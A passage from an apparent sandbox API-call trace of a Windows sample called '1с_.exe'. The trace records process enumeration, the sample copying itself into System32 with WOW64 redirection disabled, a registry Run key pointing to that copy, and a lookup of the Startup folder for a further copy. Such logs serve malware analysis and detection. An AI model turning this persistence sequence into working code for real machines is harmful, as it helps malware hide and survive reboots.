(lpString="svchost.exe") returned 11 [0036.777] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.778] lstrlenW (lpString="svchost.exe") returned 11 [0036.778] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0036.778] lstrlenW (lpString="dwm.exe") returned 7 [0036.778] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0036.778] lstrlenW (lpString="explorer.exe") returned 12 [0036.778] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0036.778] lstrlenW (lpString="spoolsv.exe") returned 11 [0036.778] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0036.779] lstrlenW (lpString="taskhost.exe") returned 12 [0036.779] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.779] lstrlenW (lpString="svchost.exe") returned 11 [0036.779] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0036.779] lstrlenW (lpString="taskeng.exe") returned 11 [0036.779] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0036.779] lstrlenW (lpString="taskhost.exe") returned 12 [0036.779] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="poland_holmes_bryant.exe")) returned 1 [0036.780] lstrlenW (lpString="poland_holmes_bryant.exe") returned 24 [0036.780] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explicit-much-possibilities.exe")) returned 1 [0036.780] lstrlenW (lpString="explicit-much-possibilities.exe") returned 31 [0036.780] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="frankfurtextensivewv.exe")) returned 1 [0036.780] lstrlenW (lpString="frankfurtextensivewv.exe") returned 24 [0036.780] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dramatic-idle.exe")) returned 1 [0036.780] lstrlenW (lpString="dramatic-idle.exe") returned 17 [0036.780] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="britannicaconsultdemocracy.exe")) returned 1 [0036.781] lstrlenW (lpString="britannicaconsultdemocracy.exe") returned 30 [0036.781] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ecagreedreceipt.exe")) returned 1 [0036.781] lstrlenW (lpString="ecagreedreceipt.exe") returned 19 [0036.781] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toyota.exe")) returned 1 [0036.781] lstrlenW (lpString="toyota.exe") returned 10 [0036.781] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radiation.exe")) returned 1 [0036.781] lstrlenW (lpString="radiation.exe") returned 13 [0036.782] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="club-dividend-responses.exe")) returned 1 [0036.782] lstrlenW (lpString="club-dividend-responses.exe") returned 27 [0036.782] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ur illustration.exe")) returned 1 [0036.782] lstrlenW (lpString="ur illustration.exe") returned 19 [0036.782] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="facing.exe")) returned 1 [0036.782] lstrlenW (lpString="facing.exe") returned 10 [0036.782] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="freewarefrontpage.exe")) returned 1 [0036.783] lstrlenW (lpString="freewarefrontpage.exe") returned 21 [0036.783] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="asking_pennsylvania.exe")) returned 1 [0036.783] lstrlenW (lpString="asking_pennsylvania.exe") returned 23 [0036.783] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="headline.exe")) returned 1 [0036.783] lstrlenW (lpString="headline.exe") returned 12 [0036.783] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="army_unsigned.exe")) returned 1 [0036.783] lstrlenW (lpString="army_unsigned.exe") returned 17 [0036.783] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplinedeborah.exe")) returned 1 [0036.784] lstrlenW (lpString="disciplinedeborah.exe") returned 21 [0036.784] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="distribution-gif.exe")) returned 1 [0036.784] lstrlenW (lpString="distribution-gif.exe") returned 20 [0036.784] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tribunal.exe")) returned 1 [0036.784] lstrlenW (lpString="tribunal.exe") returned 12 [0036.784] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aafeof.exe")) returned 1 [0036.784] lstrlenW (lpString="aafeof.exe") returned 10 [0036.784] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharpdollarsvocational.exe")) returned 1 [0036.785] lstrlenW (lpString="sharpdollarsvocational.exe") returned 26 [0036.785] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="encryption.exe")) returned 1 [0036.785] lstrlenW (lpString="encryption.exe") returned 14 [0036.785] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0036.785] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0036.785] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0036.785] lstrlenW (lpString="dllhost.exe") returned 11 [0036.785] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0036.786] lstrlenW (lpString="dllhost.exe") returned 11 [0036.786] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="1с_.exe")) returned 1 [0036.786] lstrlenW (lpString="1с_.exe") returned 7 [0036.786] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="1с_.exe")) returned 0 [0036.786] CloseHandle (hObject=0xe0) returned 1 [0036.786] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x545258 | out: hHeap=0x510000) returned 1 [0036.786] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5452a0 | out: hHeap=0x510000) returned 1 [0036.786] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5452e8 | out: hHeap=0x510000) returned 1 [0036.786] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x545308 | out: hHeap=0x510000) returned 1 [0036.786] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x545350 | out: hHeap=0x510000) returned 1 [0036.787] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5449f0 | out: hHeap=0x510000) returned 1 [0036.787] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524708 | out: hHeap=0x510000) returned 1 [0036.787] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524740 | out: hHeap=0x510000) returned 1 [0036.787] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524338 | out: hHeap=0x510000) returned 1 [0036.787] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524360 | out: hHeap=0x510000) returned 1 [0036.787] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524788 | out: hHeap=0x510000) returned 1 [0036.787] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524388 | out: hHeap=0x510000) returned 1 [0036.787] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x54b418 [0036.787] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x55b420 [0036.787] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5449f0 [0036.787] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5449f0, Size=0x20) returned 0x524388 [0036.787] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524388, Size=0x40) returned 0x546998 [0036.787] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5449f0 [0036.788] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5449f0, Size=0x20) returned 0x524388 [0036.788] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5449f0 [0036.788] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5449f0, Size=0x20) returned 0x524360 [0036.788] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5449f0 [0036.788] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5449f0, Size=0x20) returned 0x524338 [0036.788] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524338, Size=0x40) returned 0x5469e0 [0036.788] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x55b420, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1с_.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1с_.exe")) returned 0x2d [0036.788] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x56b428 [0036.788] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x57b430 [0036.788] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5449f0 [0036.788] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5449f0, Size=0x20) returned 0x524338 [0036.788] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524338, Size=0x40) returned 0x546a28 [0036.788] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x546a28, Size=0x80) returned 0x545258 [0036.788] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x545258, Size=0x100) returned 0x547ba0 [0036.788] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0036.789] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x547ba0 | out: hHeap=0x510000) returned 1 [0036.789] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\1с_.exe", lpDst=0x56b428, nSize=0x7fff | out: lpDst="C:\\Windows\\System32\\1с_.exe") returned 0x1c [0036.789] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b430 | out: hHeap=0x510000) returned 1 [0036.789] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x56b428 | out: hHeap=0x510000) returned 1 [0036.789] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x100000) returned 0x2100020 [0036.789] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5449f0 [0036.789] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5449f0, Size=0x20) returned 0x524338 [0036.789] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5449f0 [0036.789] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5449f0, Size=0x20) returned 0x545920 [0036.789] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0036.789] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0036.789] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x0) returned 1 [0036.789] lstrlenW (lpString="kernel32.dll") returned 12 [0036.789] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524338 | out: hHeap=0x510000) returned 1 [0036.789] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0036.789] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x545920 | out: hHeap=0x510000) returned 1 [0036.789] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1с_.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1с_.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0036.790] CreateFileW (lpFileName="C:\\Windows\\System32\\1с_.exe" (normalized: "c:\\windows\\system32\\1с_.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0036.792] ReadFile (in: hFile=0xe0, lpBuffer=0x2100020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2100020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0036.803] WriteFile (in: hFile=0xe4, lpBuffer=0x2100020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2100020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0036.806] ReadFile (in: hFile=0xe0, lpBuffer=0x2100020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2100020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0036.806] CloseHandle (hObject=0xe4) returned 1 [0036.810] CloseHandle (hObject=0xe0) returned 1 [0036.810] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5449f0 [0036.810] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5449f0, Size=0x20) returned 0x545920 [0036.810] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5449f0 [0036.810] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5449f0, Size=0x20) returned 0x5458d0 [0036.811] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0036.811] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0036.811] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0036.811] lstrlenW (lpString="kernel32.dll") returned 12 [0036.811] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5458d0 | out: hHeap=0x510000) returned 1 [0036.811] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0036.811] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x545920 | out: hHeap=0x510000) returned 1 [0036.811] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x2100020 | out: hHeap=0x510000) returned 1 [0036.811] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5449f0 [0036.811] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5449f0, Size=0x20) returned 0x545920 [0036.811] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x545920, Size=0x40) returned 0x546a28 [0036.811] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x546a28, Size=0x80) returned 0x56b440 [0036.811] lstrlenW (lpString="C:\\Windows\\System32\\1с_.exe") returned 27 [0036.811] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0036.812] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5c) returned 0x545258 [0036.812] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x18fd6c | out: phkResult=0x18fd6c*=0xe0) returned 0x0 [0036.812] RegSetValueExW (in: hKey=0xe0, lpValueName="1с_.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\1с_.exe", cbData=0x36 | out: lpData="C:\\Windows\\System32\\1с_.exe") returned 0x0 [0036.813] RegCloseKey (hKey=0xe0) returned 0x0 [0036.813] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x545258 | out: hHeap=0x510000) returned 1 [0036.813] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0036.813] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x56b440 | out: hHeap=0x510000) returned 1 [0036.813] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x56d428 [0036.813] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x57d430 [0036.814] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5449f0 [0036.814] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5449f0, Size=0x20) returned 0x545920 [0036.814] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x545920, Size=0x40) returned 0x546a28 [0036.814] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x546a28, Size=0x80) returned 0x56b440 [0036.814] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x56b440, Size=0x100) returned 0x547ba0 [0036.814] lstrlenW (lpString="") returned 0 [0036.814] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0036.814] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8c) returned 0x547ca8 [0036.814] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe0) returned 0x0 [0036.814] RegQueryValueExW (in: hKey=0xe0, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x57d430, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x0, lpData=0x57d430*=0x53, lpcbData=0x18fd50*=0x7fff) returned 0x2 [0036.814] RegCloseKey (hKey=0xe0) returned 0x0 [0036.814] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x547ca8 | out: hHeap=0x510000) returned 1 [0036.814] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0036.814] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8c) returned 0x547ca8 [0036.814] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0036.815] RegQueryValueExW (in: hKey=0xe4, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x57d430, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x98) returned 0x0 [0036.815] RegCloseKey (hKey=0xe4) returned 0x0 [0036.815] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x547ca8 | out: hHeap=0x510000) returned 1 [0036.815] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0036.815] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0036.815] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x547ba0 | out: hHeap=0x510000) returned 1 [0036.815] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\1с_.exe", lpDst=0x56d428, nSize=0x7fff | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\1с_.exe") returned 0x64 [0036.815] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57d430 | out: hHeap=0x510000) returned 1 [0036.815] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x56d428 | out: hHeap=0x510000) returned 1 [0036.815] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x100000) returned 0x2100020 [0036.815] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x544a20 [0036.815] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x544a20, Size=0x20) returned 0x545920 [0036.815] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x544a20 [0036.815] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x544a20, Size=0x20) returned 0x5458d0 [0036.815] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0036.815] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0036.815] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: 